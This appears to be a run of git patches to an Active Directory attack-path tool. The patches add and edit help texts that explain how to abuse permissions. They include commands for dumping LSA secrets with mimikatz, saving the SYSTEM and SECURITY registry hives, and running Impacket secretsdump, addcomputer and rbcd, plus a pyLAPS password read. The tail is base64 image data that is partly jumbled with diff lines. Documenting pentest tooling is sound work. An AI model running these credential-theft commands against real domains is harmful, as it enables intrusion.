+
+ _SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}_{targetName.toLowerCase().split('@')[0]}
.
+ The next line contains cur/hex :
followed with {targetName}'s
+ password hex-encoded.
+
+
+
+
+ {
+ "# nt.py\n" +
+ "import sys, hashlib\n\n" +
+
+ "pw_hex = sys.argv[1]\n" +
+ "nt_hash = hashlib.new('md4', bytes.fromhex(pw_hex)).hexdigest()\n\n" +
+
+ "print(nt_hash)"
+ }
+
+
+
+
+
+ python3 nt.py 35f3e1713d61...
+
+ SYSTEM
and SECURITY
registry hives from an elevated prompt:
+
+
+
+
+ reg save HKLM\SYSTEM %temp%\SYSTEM & reg save HKLM\SECURITY %temp%\SECURITY
+
+ SYSTEM
and SECURITY
that were saved
+ at %temp%
to another computer where mimikatz can be safely executed.
+
+ On this other computer, run mimikatz from a command prompt then execute the
+ following command to obtain the hex-encoded password:
+
+
+ >
+ )
+};
+
+export default Abuse;
diff --git a/src/components/Modals/HelpTexts/DumpSMSAPassword/DumpSMSAPassword.jsx b/src/components/Modals/HelpTexts/DumpSMSAPassword/DumpSMSAPassword.jsx
new file mode 100644
index 000000000..c385e6439
--- /dev/null
+++ b/src/components/Modals/HelpTexts/DumpSMSAPassword/DumpSMSAPassword.jsx
@@ -0,0 +1,50 @@
+import React from 'react';
+import PropTypes from 'prop-types';
+import { Tabs, Tab } from 'react-bootstrap';
+import General from './General';
+import Abuse from './Abuse';
+import Opsec from './Opsec';
+import References from './References';
+
+const DumpSMSAPassword = ({
+ sourceName,
+ sourceType,
+ targetName,
+ targetType,
+}) => {
+ return (
+
+ lsadump::secrets /system:C:\path\to\file\SYSTEM /security:C:\path\to\file\SECURITY
+
+
+ https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
+
+ https://github.com/gentilkiwi/mimikatz
+ >
+ )
+};
+
+export default References;
diff --git a/src/components/SearchContainer/EdgeFilter/EdgeFilter.jsx b/src/components/SearchContainer/EdgeFilter/EdgeFilter.jsx
index 16d4b7dd3..8d40937ec 100644
--- a/src/components/SearchContainer/EdgeFilter/EdgeFilter.jsx
+++ b/src/components/SearchContainer/EdgeFilter/EdgeFilter.jsx
@@ -101,6 +101,7 @@ const EdgeFilter = ({ open }) => {
'AllowedToAct',
'SQLAdmin',
'HasSIDHistory',
+ 'DumpSMSAPassword',
]}
/>
-
We can then get a service ticket for the service name (sname) we
want to "pretend" to be "admin" for. Impacket's getST.py example script
can be used for that purpose.
From 1714f2e5dc7b943ca69c8f24edfb4be6227473ae Mon Sep 17 00:00:00 2001
From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com>
Date: Fri, 20 Jan 2023 17:30:10 +0100
Subject: [PATCH 41/70] Fixed missing extension for secretsdump on DCSync,
Getchanges, GetChangesAll
---
src/components/Modals/HelpTexts/DCSync/LinuxAbuse.jsx | 2 +-
src/components/Modals/HelpTexts/GetChanges/LinuxAbuse.jsx | 2 +-
src/components/Modals/HelpTexts/GetChangesAll/LinuxAbuse.jsx | 2 +-
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/src/components/Modals/HelpTexts/DCSync/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/DCSync/LinuxAbuse.jsx
index 0d0855642..f30480e7c 100644
--- a/src/components/Modals/HelpTexts/DCSync/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/DCSync/LinuxAbuse.jsx
@@ -11,7 +11,7 @@ const LinuxAbuse = () => {
- {
- "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
- }
-
-
diff --git a/src/components/Modals/HelpTexts/GetChanges/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/GetChanges/LinuxAbuse.jsx
index 0d0855642..f30480e7c 100644
--- a/src/components/Modals/HelpTexts/GetChanges/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/GetChanges/LinuxAbuse.jsx
@@ -11,7 +11,7 @@ const LinuxAbuse = () => {
{
- "secretsdump 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'"
+ "secretsdump.py 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'"
}
diff --git a/src/components/Modals/HelpTexts/GetChangesAll/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/GetChangesAll/LinuxAbuse.jsx
index 0d0855642..f30480e7c 100644
--- a/src/components/Modals/HelpTexts/GetChangesAll/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/GetChangesAll/LinuxAbuse.jsx
@@ -11,7 +11,7 @@ const LinuxAbuse = () => {
{
- "secretsdump 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'"
+ "secretsdump.py 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'"
}
From 4c6d44aa8c02220530eaece97a592d46a69b2f22 Mon Sep 17 00:00:00 2001
From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com>
Date: Fri, 20 Jan 2023 17:36:29 +0100
Subject: [PATCH 42/70] Adding missing rbcd.py step for GenericAll,
GenericWrite, Owns, WriteDacl, WriteOwner
---
.../HelpTexts/GenericAll/LinuxAbuse.jsx | 72 +++++++++----------
.../HelpTexts/GenericWrite/LinuxAbuse.jsx | 36 +++++-----
.../Modals/HelpTexts/Owns/LinuxAbuse.jsx | 72 +++++++++----------
.../Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx | 72 +++++++++----------
.../HelpTexts/WriteOwner/LinuxAbuse.jsx | 72 +++++++++----------
5 files changed, 162 insertions(+), 162 deletions(-)
diff --git a/src/components/Modals/HelpTexts/GenericAll/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/GenericAll/LinuxAbuse.jsx
index 7b16993c5..20e4c7696 100644
--- a/src/components/Modals/HelpTexts/GenericAll/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/GenericAll/LinuxAbuse.jsx
@@ -177,12 +177,9 @@ const LinuxAbuse = ({
{
- "secretsdump 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'"
+ "secretsdump.py 'testlab.local'/'Administrator':'Password'@'DOMAINCONTROLLER'"
}
Resource-Based Constrained Delegation
-
-
-
{
@@ -190,13 +187,19 @@ const LinuxAbuse = ({
}
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
-
-
{
@@ -204,11 +207,8 @@ const LinuxAbuse = ({
}
Shadow Credentials attack
@@ -228,12 +228,9 @@ const LinuxAbuse = ({
<>
Resource-Based Constrained Delegation
-
-
-
{
@@ -241,13 +238,19 @@ const LinuxAbuse = ({
}
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
-
-
{
@@ -255,11 +258,8 @@ const LinuxAbuse = ({
}
Shadow Credentials attack
diff --git a/src/components/Modals/HelpTexts/GenericWrite/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/GenericWrite/LinuxAbuse.jsx
index de7650592..25eee7d83 100644
--- a/src/components/Modals/HelpTexts/GenericWrite/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/GenericWrite/LinuxAbuse.jsx
@@ -98,12 +98,9 @@ const LinuxAbuse = ({ sourceName, sourceType, targetType }) => {
<>
Resource-Based Constrained Delegation
-
-
-
{
@@ -111,13 +108,19 @@ const LinuxAbuse = ({ sourceName, sourceType, targetType }) => {
}
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
-
-
{
@@ -125,11 +128,8 @@ const LinuxAbuse = ({ sourceName, sourceType, targetType }) => {
}
Shadow Credentials attack
diff --git a/src/components/Modals/HelpTexts/Owns/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/Owns/LinuxAbuse.jsx
index 31e275352..067cb5c71 100644
--- a/src/components/Modals/HelpTexts/Owns/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/Owns/LinuxAbuse.jsx
@@ -251,12 +251,9 @@ const LinuxAbuse = ({
Resource-Based Constrained Delegation
-
-
-
{
@@ -264,13 +261,19 @@ const LinuxAbuse = ({
}
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
-
-
{
@@ -278,11 +281,8 @@ const LinuxAbuse = ({
}
Shadow Credentials attack
@@ -324,12 +324,9 @@ const LinuxAbuse = ({
Resource-Based Constrained Delegation
-
-
-
{
@@ -337,13 +334,19 @@ const LinuxAbuse = ({
}
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
-
-
{
@@ -351,11 +354,8 @@ const LinuxAbuse = ({
}
Shadow Credentials attack
diff --git a/src/components/Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx
index 9bb171f05..d4b647434 100644
--- a/src/components/Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx
@@ -251,12 +251,9 @@ const LinuxAbuse = ({
Resource-Based Constrained Delegation
-
-
-
{
@@ -264,13 +261,19 @@ const LinuxAbuse = ({
}
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
-
-
{
@@ -278,11 +281,8 @@ const LinuxAbuse = ({
}
Shadow Credentials attack
@@ -324,12 +324,9 @@ const LinuxAbuse = ({
Resource-Based Constrained Delegation
-
-
-
{
@@ -337,13 +334,19 @@ const LinuxAbuse = ({
}
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
-
-
{
@@ -351,11 +354,8 @@ const LinuxAbuse = ({
}
Shadow Credentials attack
diff --git a/src/components/Modals/HelpTexts/WriteOwner/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/WriteOwner/LinuxAbuse.jsx
index 8045c73db..5fca5cb43 100644
--- a/src/components/Modals/HelpTexts/WriteOwner/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/WriteOwner/LinuxAbuse.jsx
@@ -290,12 +290,9 @@ const LinuxAbuse = ({
Resource-Based Constrained Delegation
-
-
-
{
@@ -303,13 +300,19 @@ const LinuxAbuse = ({
}
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
-
-
{
@@ -317,11 +320,8 @@ const LinuxAbuse = ({
}
Shadow Credentials attack
@@ -376,12 +376,9 @@ const LinuxAbuse = ({
Resource-Based Constrained Delegation
-
-
-
{
@@ -389,13 +386,19 @@ const LinuxAbuse = ({
}
+
+ And finally we can get a service ticket for the service name (sname) we
+ want to "pretend" to be "admin" for. Impacket's getST.py example script
+ can be used for that purpose.
+ {
+ "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
+ }
+
+
-
-
{
@@ -403,11 +406,8 @@ const LinuxAbuse = ({
}
Shadow Credentials attack
From 38abfea34b6e4f08e1a64061e80e032141c804d1 Mon Sep 17 00:00:00 2001
From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com>
Date: Fri, 20 Jan 2023 17:44:30 +0100
Subject: [PATCH 43/70] Replacing LAPSDumper with pyLAPS
---
.../Modals/HelpTexts/AllExtendedRights/LinuxAbuse.jsx | 8 ++++----
src/components/Modals/HelpTexts/GenericAll/LinuxAbuse.jsx | 8 ++++----
src/components/Modals/HelpTexts/Owns/LinuxAbuse.jsx | 8 ++++----
.../Modals/HelpTexts/ReadLAPSPassword/LinuxAbuse.jsx | 4 ++--
src/components/Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx | 8 ++++----
src/components/Modals/HelpTexts/WriteOwner/LinuxAbuse.jsx | 8 ++++----
6 files changed, 22 insertions(+), 22 deletions(-)
diff --git a/src/components/Modals/HelpTexts/AllExtendedRights/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/AllExtendedRights/LinuxAbuse.jsx
index b00ff156a..fb9e0c2ad 100644
--- a/src/components/Modals/HelpTexts/AllExtendedRights/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/AllExtendedRights/LinuxAbuse.jsx
@@ -57,14 +57,14 @@ const LinuxAbuse = ({ sourceName, sourceType, targetName, targetType, haslaps })
@@ -110,14 +110,14 @@ const LinuxAbuse = ({ sourceName, sourceType, targetName, targetType, haslaps })
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
diff --git a/src/components/Modals/HelpTexts/GenericAll/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/GenericAll/LinuxAbuse.jsx
index 20e4c7696..7e3d15fb1 100644
--- a/src/components/Modals/HelpTexts/GenericAll/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/GenericAll/LinuxAbuse.jsx
@@ -163,14 +163,14 @@ const LinuxAbuse = ({
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
@@ -308,14 +308,14 @@ const LinuxAbuse = ({
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
diff --git a/src/components/Modals/HelpTexts/Owns/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/Owns/LinuxAbuse.jsx
index 067cb5c71..a1218b7d3 100644
--- a/src/components/Modals/HelpTexts/Owns/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/Owns/LinuxAbuse.jsx
@@ -237,14 +237,14 @@ const LinuxAbuse = ({
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
@@ -428,14 +428,14 @@ const LinuxAbuse = ({
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
diff --git a/src/components/Modals/HelpTexts/ReadLAPSPassword/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/ReadLAPSPassword/LinuxAbuse.jsx
index aecd018e9..d0174787a 100644
--- a/src/components/Modals/HelpTexts/ReadLAPSPassword/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/ReadLAPSPassword/LinuxAbuse.jsx
@@ -14,14 +14,14 @@ const LinuxAbuse = ({ sourceName, sourceType }) => {
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
diff --git a/src/components/Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx
index d4b647434..89cf3543b 100644
--- a/src/components/Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/WriteDacl/LinuxAbuse.jsx
@@ -237,14 +237,14 @@ const LinuxAbuse = ({
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
@@ -428,14 +428,14 @@ const LinuxAbuse = ({
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
diff --git a/src/components/Modals/HelpTexts/WriteOwner/LinuxAbuse.jsx b/src/components/Modals/HelpTexts/WriteOwner/LinuxAbuse.jsx
index 5fca5cb43..3505e2eee 100644
--- a/src/components/Modals/HelpTexts/WriteOwner/LinuxAbuse.jsx
+++ b/src/components/Modals/HelpTexts/WriteOwner/LinuxAbuse.jsx
@@ -276,14 +276,14 @@ const LinuxAbuse = ({
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
@@ -493,14 +493,14 @@ const LinuxAbuse = ({
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
From 9c8789da0403fe6ad6ec8cc931255fc48771f4fa Mon Sep 17 00:00:00 2001
From: LuemmelSec <58529760+LuemmelSec@users.noreply.github.com>
Date: Mon, 13 Feb 2023 19:15:58 +0100
Subject: [PATCH 44/70] Added Installation Instructions and Troubleshooting for
Windows
I ran across several issues lately, often times related to the neo4j setup.
I documented and added them accordingly with screenshots and solutions.
Also did an update to the OpenJDK installation and an alternative to the Oracle implementation.
Lastely created a video where everything is covered as well.
---
docs/images/java_home_check.png | Bin 0 -> 11888 bytes
docs/images/java_home_variable.png | Bin 0 -> 14761 bytes
docs/images/neo4j_error_1.png | Bin 0 -> 20433 bytes
docs/images/neo4j_error_2.png | Bin 0 -> 12527 bytes
docs/images/neo4j_paths.png | Bin 0 -> 35119 bytes
docs/installation/windows.rst | 58 +++++++++++++++++++++++++----
6 files changed, 51 insertions(+), 7 deletions(-)
create mode 100644 docs/images/java_home_check.png
create mode 100644 docs/images/java_home_variable.png
create mode 100644 docs/images/neo4j_error_1.png
create mode 100644 docs/images/neo4j_error_2.png
create mode 100644 docs/images/neo4j_paths.png
diff --git a/docs/images/java_home_check.png b/docs/images/java_home_check.png
new file mode 100644
index 0000000000000000000000000000000000000000..d1687e01830ad78b32e38ffd36e3bfa503f70ca1
GIT binary patch
literal 11888
zcmeI2c~q0v`tPHywbd%MOin<{sem$7DU*bxS|dd!1Ii33AX1QoQ3f;FdJtu-fCOcT
zf(*(e0TSj^5mG>i0x|`N5+G6t0Rjo(CCPmm+H>wXJ?FG{o!`A{-PJ$d^$u&ld;C6o
z@8|REn`dn;cJ0`|0|J5Uvi$m#Jp{5f0K6>Ue-He!|K|f-@U|t)-r^*rtn1(u`0}pb
z37ZoTNJa9_Rj+N}`v<{ayM#d?yPMapEsUU|3*g6(!x7Hm4nY^gBfUa>Ar_&&zL>CY
zgTg(}zYqSR%e6dp;#`y`Z=^BlfMuP=>$-$Sxh?3o_7`;8yA2aGUzdF9MEaz1%YBbK
zVV_`+q78!+R6nFvd|P<5HPFn=IkqGDLdvZ+{nT6epJ>M|HT-x@Z&I!88_L-Ef-eMf
zY$=0?hCtpj%Zkibw?VGvXo1biw(o^Nj^`I`frOtyz5{uimir#$#bLxQ$UTR+{g5vU
z6$~L)Z4ZM96IYqCC8Ci`!jNT`?X1wFw)OcsDpa$LQN|pc
{
- 'laps.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
+ 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
4?TwG{RDgM9ku=$65`QhhQwmKUP9@BPnamgoU
zJ05{+Y0TuiAPy_zq^E6cFmAE!U!p$dH?6roW9I2;%cSt3=7JtEOedT^{H$CXYf_5&
znqRZxU%q-nx7j_z;&Gpi=UiW-9O5BrD`E4hmZHIsV%^QP$a;)?kdXnwZ2FTxl5w_w
zS$dzp-{SZ}*P*I5&rMe&@_KwJ&xpoQB+M~5eyl;;RKG3d;D_t$)efKF%vF_gmT4Eg
zFv=R^*zSJ4l|FdUG2G!RtS}1APUlU{jeIa?E+p6gns1KK%$N>MH4{N-&QL!vC+?$J
zc`dZg>D^M!nU^b
j@dl(31U724zCHf+@CvK&n*gs^o%;Jh-Z`1I$YR3H^+qRU
z{3fmwq-@`^p>0+@9ZXhwSUvuIPj}sAA(-XDkj62sx%tU2orCk3yeJ1G3U%U3E0%S!
zi3&~o6-Uw@Doa@pGfKigl$2;LN|!8cPC?6|H LVG67)
z?RlwkkT6OI9B
YQ9ggB5Q-N{Ya1>2={|ai?B!jxz-N}%UGImx28O8?0CiJo5Ywgf-NtaXbf`}|%
zYvti0VNawE$NI#VbEIw>1SPL@6^7;*&B}Kze?3E#rJB~5yfEwAvc^1R=$x@gy`1k?
zUTCNjDPK7`QNfZYxC;ibv!dLuJNYWoa$((k3hR1DP5rPjZKnoD$%P~#?()-3X^26
zhr7~VGe_)n%f8~K__i?6jH3_C>xF96!DQfb5%qZD8N5u)1ZD}OXU0DA1GQ$zUrjzA
zU0ALOb2jU_82TRiTY56o+SC0b}K
zZB_;(P{~sV3iTJ!s1*^@Q`8ceTN9y%paG!iOp6wimBxMxn82&c(U*Bx*TfMT-L^V%Q|}BG~yGR_67Pj>F}x=s=1+a@y?UkW&kNsppe4YL%EJb#nc6
z??LtCNNnPw_pt_9uFSvs!LfZok6#Qk14Eh0N%7KR$X0*G3
>`}a<
z5KuWjZD>ub>}}$`dz5bSF~<^U4tC+>Jg`-z